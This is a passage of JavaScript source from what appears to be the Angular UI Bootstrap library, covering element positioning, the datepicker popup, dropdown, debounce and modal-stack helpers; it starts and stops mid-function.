Math.round(Math.abs(this.parseStyle(targetElemStyle.marginTop) + this.parseStyle(targetElemStyle.marginBottom))) }; placement[0] = placement[0] === 'top' && adjustedSize.height > viewportOffset.top && adjustedSize.height <= viewportOffset.bottom ? 'bottom' : placement[0] === 'bottom' && adjustedSize.height > viewportOffset.bottom && adjustedSize.height <= viewportOffset.top ? 'top' : placement[0] === 'left' && adjustedSize.width > viewportOffset.left && adjustedSize.width <= viewportOffset.right ? 'right' : placement[0] === 'right' && adjustedSize.width > viewportOffset.right && adjustedSize.width <= viewportOffset.left ? 'left' : placement[0]; placement[1] = placement[1] === 'top' && adjustedSize.height - hostElemPos.height > viewportOffset.bottom && adjustedSize.height - hostElemPos.height <= viewportOffset.top ? 'bottom' : placement[1] === 'bottom' && adjustedSize.height - hostElemPos.height > viewportOffset.top && adjustedSize.height - hostElemPos.height <= viewportOffset.bottom ? 'top' : placement[1] === 'left' && adjustedSize.width - hostElemPos.width > viewportOffset.right && adjustedSize.width - hostElemPos.width <= viewportOffset.left ? 'right' : placement[1] === 'right' && adjustedSize.width - hostElemPos.width > viewportOffset.left && adjustedSize.width - hostElemPos.width <= viewportOffset.right ? 'left' : placement[1]; if (placement[1] === 'center') { if (PLACEMENT_REGEX.vertical.test(placement[0])) { var xOverflow = hostElemPos.width / 2 - targetWidth / 2; if (viewportOffset.left + xOverflow < 0 && adjustedSize.width - hostElemPos.width <= viewportOffset.right) { placement[1] = 'left'; } else if (viewportOffset.right + xOverflow < 0 && adjustedSize.width - hostElemPos.width <= viewportOffset.left) { placement[1] = 'right'; } } else { var yOverflow = hostElemPos.height / 2 - adjustedSize.height / 2; if (viewportOffset.top + yOverflow < 0 && adjustedSize.height - hostElemPos.height <= viewportOffset.bottom) { placement[1] = 'top'; } else if (viewportOffset.bottom + yOverflow < 0 && adjustedSize.height - hostElemPos.height <= viewportOffset.top) { placement[1] = 'bottom'; } } } } switch (placement[0]) { case 'top': targetElemPos.top = hostElemPos.top - targetHeight; break; case 'bottom': targetElemPos.top = hostElemPos.top + hostElemPos.height; break; case 'left': targetElemPos.left = hostElemPos.left - targetWidth; break; case 'right': targetElemPos.left = hostElemPos.left + hostElemPos.width; break; } switch (placement[1]) { case 'top': targetElemPos.top = hostElemPos.top; break; case 'bottom': targetElemPos.top = hostElemPos.top + hostElemPos.height - targetHeight; break; case 'left': targetElemPos.left = hostElemPos.left; break; case 'right': targetElemPos.left = hostElemPos.left + hostElemPos.width - targetWidth; break; case 'center': if (PLACEMENT_REGEX.vertical.test(placement[0])) { targetElemPos.left = hostElemPos.left + hostElemPos.width / 2 - targetWidth / 2; } else { targetElemPos.top = hostElemPos.top + hostElemPos.height / 2 - targetHeight / 2; } break; } targetElemPos.top = Math.round(targetElemPos.top); targetElemPos.left = Math.round(targetElemPos.left); targetElemPos.placement = placement[1] === 'center' ? placement[0] : placement[0] + '-' + placement[1]; return targetElemPos; }, /** * Provides a way for positioning tooltip & dropdown * arrows when using placement options beyond the standard * left, right, top, or bottom. * * @param {element} elem - The tooltip/dropdown element. * @param {string} placement - The placement for the elem. */ positionArrow: function(elem, placement) { elem = this.getRawNode(elem); var innerElem = elem.querySelector('.tooltip-inner, .popover-inner'); if (!innerElem) { return; } var isTooltip = angular.element(innerElem).hasClass('tooltip-inner'); var arrowElem = isTooltip ? elem.querySelector('.tooltip-arrow') : elem.querySelector('.arrow'); if (!arrowElem) { return; } var arrowCss = { top: '', bottom: '', left: '', right: '' }; placement = this.parsePlacement(placement); if (placement[1] === 'center') { // no adjustment necessary - just reset styles angular.element(arrowElem).css(arrowCss); return; } var borderProp = 'border-' + placement[0] + '-width'; var borderWidth = $window.getComputedStyle(arrowElem)[borderProp]; var borderRadiusProp = 'border-'; if (PLACEMENT_REGEX.vertical.test(placement[0])) { borderRadiusProp += placement[0] + '-' + placement[1]; } else { borderRadiusProp += placement[1] + '-' + placement[0]; } borderRadiusProp += '-radius'; var borderRadius = $window.getComputedStyle(isTooltip ? innerElem : elem)[borderRadiusProp]; switch (placement[0]) { case 'top': arrowCss.bottom = isTooltip ? '0' : '-' + borderWidth; break; case 'bottom': arrowCss.top = isTooltip ? '0' : '-' + borderWidth; break; case 'left': arrowCss.right = isTooltip ? '0' : '-' + borderWidth; break; case 'right': arrowCss.left = isTooltip ? '0' : '-' + borderWidth; break; } arrowCss[placement[1]] = borderRadius; angular.element(arrowElem).css(arrowCss); } }; }]); angular.module('ui.bootstrap.datepickerPopup', ['ui.bootstrap.datepicker', 'ui.bootstrap.position']) .value('$datepickerPopupLiteralWarning', true) .constant('uibDatepickerPopupConfig', { altInputFormats: [], appendToBody: false, clearText: 'Clear', closeOnDateSelection: true, closeText: 'Done', currentText: 'Today', datepickerPopup: 'yyyy-MM-dd', datepickerPopupTemplateUrl: 'uib/template/datepickerPopup/popup.html', datepickerTemplateUrl: 'uib/template/datepicker/datepicker.html', html5Types: { date: 'yyyy-MM-dd', 'datetime-local': 'yyyy-MM-ddTHH:mm:ss.sss', 'month': 'yyyy-MM' }, onOpenFocus: true, showButtonBar: true, placement: 'auto bottom-left' }) .controller('UibDatepickerPopupController', ['$scope', '$element', '$attrs', '$compile', '$log', '$parse', '$window', '$document', '$rootScope', '$uibPosition', 'dateFilter', 'uibDateParser', 'uibDatepickerPopupConfig', '$timeout', 'uibDatepickerConfig', '$datepickerPopupLiteralWarning', function($scope, $element, $attrs, $compile, $log, $parse, $window, $document, $rootScope, $position, dateFilter, dateParser, datepickerPopupConfig, $timeout, datepickerConfig, $datepickerPopupLiteralWarning) { var cache = {}, isHtml5DateInput = false; var dateFormat, closeOnDateSelection, appendToBody, onOpenFocus, datepickerPopupTemplateUrl, datepickerTemplateUrl, popupEl, datepickerEl, scrollParentEl, ngModel, ngModelOptions, $popup, altInputFormats, watchListeners = [], timezone; this.init = function(_ngModel_) { ngModel = _ngModel_; ngModelOptions = _ngModel_.$options; closeOnDateSelection = angular.isDefined($attrs.closeOnDateSelection) ? $scope.$parent.$eval($attrs.closeOnDateSelection) : datepickerPopupConfig.closeOnDateSelection; appendToBody = angular.isDefined($attrs.datepickerAppendToBody) ? $scope.$parent.$eval($attrs.datepickerAppendToBody) : datepickerPopupConfig.appendToBody; onOpenFocus = angular.isDefined($attrs.onOpenFocus) ? $scope.$parent.$eval($attrs.onOpenFocus) : datepickerPopupConfig.onOpenFocus; datepickerPopupTemplateUrl = angular.isDefined($attrs.datepickerPopupTemplateUrl) ? $attrs.datepickerPopupTemplateUrl : datepickerPopupConfig.datepickerPopupTemplateUrl; datepickerTemplateUrl = angular.isDefined($attrs.datepickerTemplateUrl) ? $attrs.datepickerTemplateUrl : datepickerPopupConfig.datepickerTemplateUrl; altInputFormats = angular.isDefined($attrs.altInputFormats) ? $scope.$parent.$eval($attrs.altInputFormats) : datepickerPopupConfig.altInputFormats; $scope.showButtonBar = angular.isDefined($attrs.showButtonBar) ? $scope.$parent.$eval($attrs.showButtonBar) : datepickerPopupConfig.showButtonBar; if (datepickerPopupConfig.html5Types[$attrs.type]) { dateFormat = datepickerPopupConfig.html5Types[$attrs.type]; isHtml5DateInput = true; } else { dateFormat = $attrs.uibDatepickerPopup || datepickerPopupConfig.datepickerPopup; $attrs.$observe('uibDatepickerPopup', function(value, oldValue) { var newDateFormat = value || datepickerPopupConfig.datepickerPopup; // Invalidate the $modelValue to ensure that formatters re-run // FIXME: Refactor when PR is merged: https://github.com/angular/angular.js/pull/10764 if (newDateFormat !== dateFormat) { dateFormat = newDateFormat; ngModel.$modelValue = null; if (!dateFormat) { throw new Error('uibDatepickerPopup must have a date format specified.'); } } }); } if (!dateFormat) { throw new Error('uibDatepickerPopup must have a date format specified.'); } if (isHtml5DateInput && $attrs.uibDatepickerPopup) { throw new Error('HTML5 date input types do not support custom formats.'); } // popup element used to display calendar popupEl = angular.element('<div uib-datepicker-popup-wrap><div uib-datepicker></div></div>'); if (ngModelOptions) { timezone = ngModelOptions.timezone; $scope.ngModelOptions = angular.copy(ngModelOptions); $scope.ngModelOptions.timezone = null; if ($scope.ngModelOptions.updateOnDefault === true) { $scope.ngModelOptions.updateOn = $scope.ngModelOptions.updateOn ? $scope.ngModelOptions.updateOn + ' default' : 'default'; } popupEl.attr('ng-model-options', 'ngModelOptions'); } else { timezone = null; } popupEl.attr({ 'ng-model': 'date', 'ng-change': 'dateSelection(date)', 'template-url': datepickerPopupTemplateUrl }); // datepicker element datepickerEl = angular.element(popupEl.children()[0]); datepickerEl.attr('template-url', datepickerTemplateUrl); if (!$scope.datepickerOptions) { $scope.datepickerOptions = {}; } if (isHtml5DateInput) { if ($attrs.type === 'month') { $scope.datepickerOptions.datepickerMode = 'month'; $scope.datepickerOptions.minMode = 'month'; } } datepickerEl.attr('datepicker-options', 'datepickerOptions'); if (!isHtml5DateInput) { // Internal API to maintain the correct ng-invalid-[key] class ngModel.$$parserName = 'date'; ngModel.$validators.date = validator; ngModel.$parsers.unshift(parseDate); ngModel.$formatters.push(function(value) { if (ngModel.$isEmpty(value)) { $scope.date = value; return value; } if (angular.isNumber(value)) { value = new Date(value); } $scope.date = dateParser.fromTimezone(value, timezone); return dateParser.filter($scope.date, dateFormat); }); } else { ngModel.$formatters.push(function(value) { $scope.date = dateParser.fromTimezone(value, timezone); return value; }); } // Detect changes in the view from the text box ngModel.$viewChangeListeners.push(function() { $scope.date = parseDateString(ngModel.$viewValue); }); $element.on('keydown', inputKeydownBind); $popup = $compile(popupEl)($scope); // Prevent jQuery cache memory leak (template is now redundant after linking) popupEl.remove(); if (appendToBody) { $document.find('body').append($popup); } else { $element.after($popup); } $scope.$on('$destroy', function() { if ($scope.isOpen === true) { if (!$rootScope.$$phase) { $scope.$apply(function() { $scope.isOpen = false; }); } } $popup.remove(); $element.off('keydown', inputKeydownBind); $document.off('click', documentClickBind); if (scrollParentEl) { scrollParentEl.off('scroll', positionPopup); } angular.element($window).off('resize', positionPopup); //Clear all watch listeners on destroy while (watchListeners.length) { watchListeners.shift()(); } }); }; $scope.getText = function(key) { return $scope[key + 'Text'] || datepickerPopupConfig[key + 'Text']; }; $scope.isDisabled = function(date) { if (date === 'today') { date = dateParser.fromTimezone(new Date(), timezone); } var dates = {}; angular.forEach(['minDate', 'maxDate'], function(key) { if (!$scope.datepickerOptions[key]) { dates[key] = null; } else if (angular.isDate($scope.datepickerOptions[key])) { dates[key] = dateParser.fromTimezone(new Date($scope.datepickerOptions[key]), timezone); } else { if ($datepickerPopupLiteralWarning) { $log.warn('Literal date support has been deprecated, please switch to date object usage'); } dates[key] = new Date(dateFilter($scope.datepickerOptions[key], 'medium')); } }); return $scope.datepickerOptions && dates.minDate && $scope.compare(date, dates.minDate) < 0 || dates.maxDate && $scope.compare(date, dates.maxDate) > 0; }; $scope.compare = function(date1, date2) { return new Date(date1.getFullYear(), date1.getMonth(), date1.getDate()) - new Date(date2.getFullYear(), date2.getMonth(), date2.getDate()); }; // Inner change $scope.dateSelection = function(dt) { if (angular.isDefined(dt)) { $scope.date = dt; } var date = $scope.date ? dateParser.filter($scope.date, dateFormat) : null; // Setting to NULL is necessary for form validators to function $element.val(date); ngModel.$setViewValue(date); if (closeOnDateSelection) { $scope.isOpen = false; $element[0].focus(); } }; $scope.keydown = function(evt) { if (evt.which === 27) { evt.stopPropagation(); $scope.isOpen = false; $element[0].focus(); } }; $scope.select = function(date, evt) { evt.stopPropagation(); if (date === 'today') { var today = new Date(); if (angular.isDate($scope.date)) { date = new Date($scope.date); date.setFullYear(today.getFullYear(), today.getMonth(), today.getDate()); } else { date = new Date(today.setHours(0, 0, 0, 0)); } } $scope.dateSelection(date); }; $scope.close = function(evt) { evt.stopPropagation(); $scope.isOpen = false; $element[0].focus(); }; $scope.disabled = angular.isDefined($attrs.disabled) || false; if ($attrs.ngDisabled) { watchListeners.push($scope.$parent.$watch($parse($attrs.ngDisabled), function(disabled) { $scope.disabled = disabled; })); } $scope.$watch('isOpen', function(value) { if (value) { if (!$scope.disabled) { $timeout(function() { positionPopup(); if (onOpenFocus) { $scope.$broadcast('uib:datepicker.focus'); } $document.on('click', documentClickBind); var placement = $attrs.popupPlacement ? $attrs.popupPlacement : datepickerPopupConfig.placement; if (appendToBody || $position.parsePlacement(placement)[2]) { scrollParentEl = scrollParentEl || angular.element($position.scrollParent($element)); if (scrollParentEl) { scrollParentEl.on('scroll', positionPopup); } } else { scrollParentEl = null; } angular.element($window).on('resize', positionPopup); }, 0, false); } else { $scope.isOpen = false; } } else { $document.off('click', documentClickBind); if (scrollParentEl) { scrollParentEl.off('scroll', positionPopup); } angular.element($window).off('resize', positionPopup); } }); function cameltoDash(string) { return string.replace(/([A-Z])/g, function($1) { return '-' + $1.toLowerCase(); }); } function parseDateString(viewValue) { var date = dateParser.parse(viewValue, dateFormat, $scope.date); if (isNaN(date)) { for (var i = 0; i < altInputFormats.length; i++) { date = dateParser.parse(viewValue, altInputFormats[i], $scope.date); if (!isNaN(date)) { return date; } } } return date; } function parseDate(viewValue) { if (angular.isNumber(viewValue)) { // presumably timestamp to date object viewValue = new Date(viewValue); } if (!viewValue) { return null; } if (angular.isDate(viewValue) && !isNaN(viewValue)) { return viewValue; } if (angular.isString(viewValue)) { var date = parseDateString(viewValue); if (!isNaN(date)) { return dateParser.toTimezone(date, timezone); } } return ngModel.$options && ngModel.$options.allowInvalid ? viewValue : undefined; } function validator(modelValue, viewValue) { var value = modelValue || viewValue; if (!$attrs.ngRequired && !value) { return true; } if (angular.isNumber(value)) { value = new Date(value); } if (!value) { return true; } if (angular.isDate(value) && !isNaN(value)) { return true; } if (angular.isString(value)) { return !isNaN(parseDateString(viewValue)); } return false; } function documentClickBind(event) { if (!$scope.isOpen && $scope.disabled) { return; } var popup = $popup[0]; var dpContainsTarget = $element[0].contains(event.target); // The popup node may not be an element node // In some browsers (IE) only element nodes have the 'contains' function var popupContainsTarget = popup.contains !== undefined && popup.contains(event.target); if ($scope.isOpen && !(dpContainsTarget || popupContainsTarget)) { $scope.$apply(function() { $scope.isOpen = false; }); } } function inputKeydownBind(evt) { if (evt.which === 27 && $scope.isOpen) { evt.preventDefault(); evt.stopPropagation(); $scope.$apply(function() { $scope.isOpen = false; }); $element[0].focus(); } else if (evt.which === 40 && !$scope.isOpen) { evt.preventDefault(); evt.stopPropagation(); $scope.$apply(function() { $scope.isOpen = true; }); } } function positionPopup() { if ($scope.isOpen) { var dpElement = angular.element($popup[0].querySelector('.uib-datepicker-popup')); var placement = $attrs.popupPlacement ? $attrs.popupPlacement : datepickerPopupConfig.placement; var position = $position.positionElements($element, dpElement, placement, appendToBody); dpElement.css({top: position.top + 'px', left: position.left + 'px'}); if (dpElement.hasClass('uib-position-measure')) { dpElement.removeClass('uib-position-measure'); } } } $scope.$on('uib:datepicker.mode', function() { $timeout(positionPopup, 0, false); }); }]) .directive('uibDatepickerPopup', function() { return { require: ['ngModel', 'uibDatepickerPopup'], controller: 'UibDatepickerPopupController', scope: { datepickerOptions: '=?', isOpen: '=?', currentText: '@', clearText: '@', closeText: '@' }, link: function(scope, element, attrs, ctrls) { var ngModel = ctrls[0], ctrl = ctrls[1]; ctrl.init(ngModel); } }; }) .directive('uibDatepickerPopupWrap', function() { return { replace: true, transclude: true, templateUrl: function(element, attrs) { return attrs.templateUrl || 'uib/template/datepickerPopup/popup.html'; } }; }); angular.module('ui.bootstrap.debounce', []) /** * A helper, internal service that debounces a function */ .factory('$$debounce', ['$timeout', function($timeout) { return function(callback, debounceTime) { var timeoutPromise; return function() { var self = this; var args = Array.prototype.slice.call(arguments); if (timeoutPromise) { $timeout.cancel(timeoutPromise); } timeoutPromise = $timeout(function() { callback.apply(self, args); }, debounceTime); }; }; }]); angular.module('ui.bootstrap.dropdown', ['ui.bootstrap.position']) .constant('uibDropdownConfig', { appendToOpenClass: 'uib-dropdown-open', openClass: 'open' }) .service('uibDropdownService', ['$document', '$rootScope', function($document, $rootScope) { var openScope = null; this.open = function(dropdownScope, element) { if (!openScope) { $document.on('click', closeDropdown); element.on('keydown', keybindFilter); } if (openScope && openScope !== dropdownScope) { openScope.isOpen = false; } openScope = dropdownScope; }; this.close = function(dropdownScope, element) { if (openScope === dropdownScope) { openScope = null; $document.off('click', closeDropdown); element.off('keydown', keybindFilter); } }; var closeDropdown = function(evt) { // This method may still be called during the same mouse event that // unbound this event handler. So check openScope before proceeding. if (!openScope) { return; } if (evt && openScope.getAutoClose() === 'disabled') { return; } if (evt && evt.which === 3) { return; } var toggleElement = openScope.getToggleElement(); if (evt && toggleElement && toggleElement[0].contains(evt.target)) { return; } var dropdownElement = openScope.getDropdownElement(); if (evt && openScope.getAutoClose() === 'outsideClick' && dropdownElement && dropdownElement[0].contains(evt.target)) { return; } openScope.isOpen = false; if (!$rootScope.$$phase) { openScope.$apply(); } }; var keybindFilter = function(evt) { if (evt.which === 27) { evt.stopPropagation(); openScope.focusToggleElement(); closeDropdown(); } else if (openScope.isKeynavEnabled() && [38, 40].indexOf(evt.which) !== -1 && openScope.isOpen) { evt.preventDefault(); evt.stopPropagation(); openScope.focusDropdownEntry(evt.which); } }; }]) .controller('UibDropdownController', ['$scope', '$element', '$attrs', '$parse', 'uibDropdownConfig', 'uibDropdownService', '$animate', '$uibPosition', '$document', '$compile', '$templateRequest', function($scope, $element, $attrs, $parse, dropdownConfig, uibDropdownService, $animate, $position, $document, $compile, $templateRequest) { var self = this, scope = $scope.$new(), // create a child scope so we are not polluting original one templateScope, appendToOpenClass = dropdownConfig.appendToOpenClass, openClass = dropdownConfig.openClass, getIsOpen, setIsOpen = angular.noop, toggleInvoker = $attrs.onToggle ? $parse($attrs.onToggle) : angular.noop, appendToBody = false, appendTo = null, keynavEnabled = false, selectedOption = null, body = $document.find('body'); $element.addClass('dropdown'); this.init = function() { if ($attrs.isOpen) { getIsOpen = $parse($attrs.isOpen); setIsOpen = getIsOpen.assign; $scope.$watch(getIsOpen, function(value) { scope.isOpen = !!value; }); } if (angular.isDefined($attrs.dropdownAppendTo)) { var appendToEl = $parse($attrs.dropdownAppendTo)(scope); if (appendToEl) { appendTo = angular.element(appendToEl); } } appendToBody = angular.isDefined($attrs.dropdownAppendToBody); keynavEnabled = angular.isDefined($attrs.keyboardNav); if (appendToBody && !appendTo) { appendTo = body; } if (appendTo && self.dropdownMenu) { appendTo.append(self.dropdownMenu); $element.on('$destroy', function handleDestroyEvent() { self.dropdownMenu.remove(); }); } }; this.toggle = function(open) { scope.isOpen = arguments.length ? !!open : !scope.isOpen; if (angular.isFunction(setIsOpen)) { setIsOpen(scope, scope.isOpen); } return scope.isOpen; }; // Allow other directives to watch status this.isOpen = function() { return scope.isOpen; }; scope.getToggleElement = function() { return self.toggleElement; }; scope.getAutoClose = function() { return $attrs.autoClose || 'always'; //or 'outsideClick' or 'disabled' }; scope.getElement = function() { return $element; }; scope.isKeynavEnabled = function() { return keynavEnabled; }; scope.focusDropdownEntry = function(keyCode) { var elems = self.dropdownMenu ? //If append to body is used. angular.element(self.dropdownMenu).find('a') : $element.find('ul').eq(0).find('a'); switch (keyCode) { case 40: { if (!angular.isNumber(self.selectedOption)) { self.selectedOption = 0; } else { self.selectedOption = self.selectedOption === elems.length - 1 ? self.selectedOption : self.selectedOption + 1; } break; } case 38: { if (!angular.isNumber(self.selectedOption)) { self.selectedOption = elems.length - 1; } else { self.selectedOption = self.selectedOption === 0 ? 0 : self.selectedOption - 1; } break; } } elems[self.selectedOption].focus(); }; scope.getDropdownElement = function() { return self.dropdownMenu; }; scope.focusToggleElement = function() { if (self.toggleElement) { self.toggleElement[0].focus(); } }; scope.$watch('isOpen', function(isOpen, wasOpen) { if (appendTo && self.dropdownMenu) { var pos = $position.positionElements($element, self.dropdownMenu, 'bottom-left', true), css, rightalign, scrollbarWidth; css = { top: pos.top + 'px', display: isOpen ? 'block' : 'none' }; rightalign = self.dropdownMenu.hasClass('dropdown-menu-right'); if (!rightalign) { css.left = pos.left + 'px'; css.right = 'auto'; } else { css.left = 'auto'; scrollbarWidth = $position.scrollbarWidth(true); css.right = window.innerWidth - scrollbarWidth - (pos.left + $element.prop('offsetWidth')) + 'px'; } // Need to adjust our positioning to be relative to the appendTo container // if it's not the body element if (!appendToBody) { var appendOffset = $position.offset(appendTo); css.top = pos.top - appendOffset.top + 'px'; if (!rightalign) { css.left = pos.left - appendOffset.left + 'px'; } else { css.right = window.innerWidth - (pos.left - appendOffset.left + $element.prop('offsetWidth')) + 'px'; } } self.dropdownMenu.css(css); } var openContainer = appendTo ? appendTo : $element; var hasOpenClass = openContainer.hasClass(appendTo ? appendToOpenClass : openClass); if (hasOpenClass === !isOpen) { $animate[isOpen ? 'addClass' : 'removeClass'](openContainer, appendTo ? appendToOpenClass : openClass).then(function() { if (angular.isDefined(isOpen) && isOpen !== wasOpen) { toggleInvoker($scope, { open: !!isOpen }); } }); } if (isOpen) { if (self.dropdownMenuTemplateUrl) { $templateRequest(self.dropdownMenuTemplateUrl).then(function(tplContent) { templateScope = scope.$new(); $compile(tplContent.trim())(templateScope, function(dropdownElement) { var newEl = dropdownElement; self.dropdownMenu.replaceWith(newEl); self.dropdownMenu = newEl; }); }); } scope.focusToggleElement(); uibDropdownService.open(scope, $element); } else { if (self.dropdownMenuTemplateUrl) { if (templateScope) { templateScope.$destroy(); } var newEl = angular.element('<ul class="dropdown-menu"></ul>'); self.dropdownMenu.replaceWith(newEl); self.dropdownMenu = newEl; } uibDropdownService.close(scope, $element); self.selectedOption = null; } if (angular.isFunction(setIsOpen)) { setIsOpen($scope, isOpen); } }); }]) .directive('uibDropdown', function() { return { controller: 'UibDropdownController', link: function(scope, element, attrs, dropdownCtrl) { dropdownCtrl.init(); } }; }) .directive('uibDropdownMenu', function() { return { restrict: 'A', require: '?^uibDropdown', link: function(scope, element, attrs, dropdownCtrl) { if (!dropdownCtrl || angular.isDefined(attrs.dropdownNested)) { return; } element.addClass('dropdown-menu'); var tplUrl = attrs.templateUrl; if (tplUrl) { dropdownCtrl.dropdownMenuTemplateUrl = tplUrl; } if (!dropdownCtrl.dropdownMenu) { dropdownCtrl.dropdownMenu = element; } } }; }) .directive('uibDropdownToggle', function() { return { require: '?^uibDropdown', link: function(scope, element, attrs, dropdownCtrl) { if (!dropdownCtrl) { return; } element.addClass('dropdown-toggle'); dropdownCtrl.toggleElement = element; var toggleDropdown = function(event) { event.preventDefault(); if (!element.hasClass('disabled') && !attrs.disabled) { scope.$apply(function() { dropdownCtrl.toggle(); }); } }; element.bind('click', toggleDropdown); // WAI-ARIA element.attr({ 'aria-haspopup': true, 'aria-expanded': false }); scope.$watch(dropdownCtrl.isOpen, function(isOpen) { element.attr('aria-expanded', !!isOpen); }); scope.$on('$destroy', function() { element.unbind('click', toggleDropdown); }); } }; }); angular.module('ui.bootstrap.stackedMap', []) /** * A helper, internal data structure that acts as a map but also allows getting / removing * elements in the LIFO order */ .factory('$$stackedMap', function() { return { createNew: function() { var stack = []; return { add: function(key, value) { stack.push({ key: key, value: value }); }, get: function(key) { for (var i = 0; i < stack.length; i++) { if (key === stack[i].key) { return stack[i]; } } }, keys: function() { var keys = []; for (var i = 0; i < stack.length; i++) { keys.push(stack[i].key); } return keys; }, top: function() { return stack[stack.length - 1]; }, remove: function(key) { var idx = -1; for (var i = 0; i < stack.length; i++) { if (key === stack[i].key) { idx = i; break; } } return stack.splice(idx, 1)[0]; }, removeTop: function() { return stack.splice(stack.length - 1, 1)[0]; }, length: function() { return stack.length; } }; } }; }); angular.module('ui.bootstrap.modal', ['ui.bootstrap.stackedMap', 'ui.bootstrap.position']) /** * A helper, internal data structure that stores all references attached to key */ .factory('$$multiMap', function() { return { createNew: function() { var map = {}; return { entries: function() { return Object.keys(map).map(function(key) { return { key: key, value: map[key] }; }); }, get: function(key) { return map[key]; }, hasKey: function(key) { return !!map[key]; }, keys: function() { return Object.keys(map); }, put: function(key, value) { if (!map[key]) { map[key] = []; } map[key].push(value); }, remove: function(key, value) { var values = map[key]; if (!values) { return; } var idx = values.indexOf(value); if (idx !== -1) { values.splice(idx, 1); } if (!values.length) { delete map[key]; } } }; } }; }) /** * Pluggable resolve mechanism for the modal resolve resolution * Supports UI Router's $resolve service */ .provider('$uibResolve', function() { var resolve = this; this.resolver = null; this.setResolver = function(resolver) { this.resolver = resolver; }; this.$get = ['$injector', '$q', function($injector, $q) { var resolver = resolve.resolver ? $injector.get(resolve.resolver) : null; return { resolve: function(invocables, locals, parent, self) { if (resolver) { return resolver.resolve(invocables, locals, parent, self); } var promises = []; angular.forEach(invocables, function(value) { if (angular.isFunction(value) || angular.isArray(value)) { promises.push($q.resolve($injector.invoke(value))); } else if (angular.isString(value)) { promises.push($q.resolve($injector.get(value))); } else { promises.push($q.resolve(value)); } }); return $q.all(promises).then(function(resolves) { var resolveObj = {}; var resolveIter = 0; angular.forEach(invocables, function(value, key) { resolveObj[key] = resolves[resolveIter++]; }); return resolveObj; }); } }; }]; }) /** * A helper directive for the $modal service. It creates a backdrop element. */ .directive('uibModalBackdrop', ['$animate', '$injector', '$uibModalStack', function($animate, $injector, $modalStack) { return { replace: true, templateUrl: 'uib/template/modal/backdrop.html', compile: function(tElement, tAttrs) { tElement.addClass(tAttrs.backdropClass); return linkFn; } }; function linkFn(scope, element, attrs) { if (attrs.modalInClass) { $animate.addClass(element, attrs.modalInClass); scope.$on($modalStack.NOW_CLOSING_EVENT, function(e, setIsAsync) { var done = setIsAsync(); if (scope.modalOptions.animation) { $animate.removeClass(element, attrs.modalInClass).then(done); } else { done(); } }); } } }]) .directive('uibModalWindow', ['$uibModalStack', '$q', '$animateCss', '$document', function($modalStack, $q, $animateCss, $document) { return { scope: { index: '@' }, replace: true, transclude: true, templateUrl: function(tElement, tAttrs) { return tAttrs.templateUrl || 'uib/template/modal/window.html'; }, link: function(scope, element, attrs) { element.addClass(attrs.windowClass || ''); element.addClass(attrs.windowTopClass || ''); scope.size = attrs.size; scope.close = function(evt) { var modal = $modalStack.getTop(); if (modal && modal.value.backdrop && modal.value.backdrop !== 'static' && evt.target === evt.currentTarget) { evt.preventDefault(); evt.stopPropagation(); $modalStack.dismiss(modal.key, 'backdrop click'); } }; // moved from template to fix issue #2280 element.on('click', scope.close); // This property is only added to the scope for the purpose of detecting when this directive is rendered. // We can detect that by using this property in the template associated with this directive and then use // {@link Attribute#$observe} on it. For more details please see {@link TableColumnResize}. scope.$isRendered = true; // Deferred object that will be resolved when this modal is render. var modalRenderDeferObj = $q.defer(); // Observe function will be called on next digest cycle after compilation, ensuring that the DOM is ready. // In order to use this way of finding whether DOM is ready, we need to observe a scope property used in modal's template. attrs.$observe('modalRender', function(value) { if (value === 'true') { modalRenderDeferObj.resolve(); } }); modalRenderDeferObj.promise.then(function() { var animationPromise = null; if (attrs.modalInClass) { animationPromise = $animateCss(element, { addClass: attrs.modalInClass }).start(); scope.$on($modalStack.NOW_CLOSING_EVENT, function(e, setIsAsync) { var done = setIsAsync(); $animateCss(element, { removeClass: attrs.modalInClass }).start().then(done); }); } $q.when(animationPromise).then(function() { // Notify {@link $modalStack} that modal is rendered. var modal = $modalStack.getTop(); if (modal) { $modalStack.modalRendered(modal.key); } /** * If something within the freshly-opened modal already has focus (perhaps via a * directive that causes focus). then no need to try and focus anything. */ if (!($document[0].activeElement && element[0].contains($document[0].activeElement))) { var inputWithAutofocus = element[0].querySelector('[autofocus]'); /** * Auto-focusing of a freshly-opened modal element causes any child elements * with the autofocus attribute to lose focus. This is an issue on touch * based devices which will show and then hide the onscreen keyboard. * Attempts to refocus the autofocus element via JavaScript will not reopen * the onscreen keyboard. Fixed by updated the focusing logic to only autofocus * the modal element if the modal does not contain an autofocus element. */ if (inputWithAutofocus) { inputWithAutofocus.focus(); } else { element[0].focus(); } } }); }); } }; }]) .directive('uibModalAnimationClass', function() { return { compile: function(tElement, tAttrs) { if (tAttrs.modalAnimation) { tElement.addClass(tAttrs.uibModalAnimationClass); } } }; }) .directive('uibModalTransclude', function() { return { link: function(scope, element, attrs, controller, transclude) { transclude(scope.$parent, function(clone) { element.empty(); element.append(clone); }); } }; }) .factory('$uibModalStack', ['$animate', '$animateCss', '$document', '$compile', '$rootScope', '$q', '$$multiMap', '$$stackedMap', '$uibPosition', function($animate, $animateCss, $document, $compile, $rootScope, $q, $$multiMap, $$stackedMap, $uibPosition) { var OPENED_MODAL_CLASS = 'modal-open'; var backdropDomEl, backdropScope; var openedWindows = $$stackedMap.createNew(); var openedClasses = $$multiMap.createNew(); var $modalStack = { NOW_CLOSING_EVENT: 'modal.stack.now-closing' }; var topModalIndex = 0; var previousTopOpenedModal = null; //Modal focus behavior var tabableSelector = 'a[href], area[href], input:not([disabled]), ' + 'button:not([disabled]),select:not([disabled]), textarea:not([disabled]), ' + 'iframe, object, embed, *[tabindex], *[contenteditable=true]'; var scrollbarPadding; function isVisible(element) { return !!(element.offsetWidth || element.offsetHeight || element.getClientRects().length); } function backdropIndex() { var topBackdropIndex = -1; var opened = openedWindows.keys(); for (var i = 0; i < opened.length; i++) { if (openedWindows.get(opened[i]).value.backdrop) { topBackdropIndex = i; } } // If any backdrop exist, ensure that it's index is always // right below the top modal if (topBackdropIndex > -1 && topBackdropIndex < topModalIndex) { topBackdropIndex = topModalIndex; } return topBackdropIndex; } $rootScope.$watch(backdropIndex, function(newBackdropIndex) { if (backdropScope) { backdropScope.index = newBackdropIndex; } }); function removeModalWindow(modalInstance, elementToReceiveFocus) { var modalWindow = openedWindows.get(modalInstance).value; var appendToElement = modalWindow.appendTo; //clean up the stack openedWindows.remove(modalInstance); previousTopOpenedModal = openedWindows.top(); if (previousTopOpenedModal) { topModalIndex = parseInt(previousTopOpenedModal.value.modalDomEl.attr('index'), 10); } removeAfterAnimate(modalWindow.modalDomEl, modalWindow.modalScope, function() { var 